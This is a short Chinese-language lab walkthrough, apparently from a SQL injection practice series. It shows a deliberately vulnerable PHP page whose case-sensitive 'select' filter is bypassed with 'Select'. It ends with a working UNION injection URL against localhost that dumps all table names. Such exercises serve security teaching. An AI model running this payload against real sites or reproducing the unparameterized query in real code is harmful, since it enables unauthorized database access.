08-大小写绕过
打开如下:
分析代码:
<?php
if(isset($_GET['id'])){
if (preg_match('/select/', $_GET["id"])) {
die("ERROR");
}else{
$id=$_GET['id'];
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}
}else{
exit();
}
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
}
echo "</table>";
}
else
{
// echo '<font color= "#FFFFFF">';
print_r(mysql_error());
// echo "</font>";
}
?>
preg_match
函数过滤了 select 字符串,实际上并不严格(没加大小写匹配)
绕过方法:
Select
构造注入语句:
http://localhost:8050/sqli/08.php?id=1 union Select 1,2,(Select group_concat(table_name) from information_schema.tables where table_schema=database())%23 #全部表名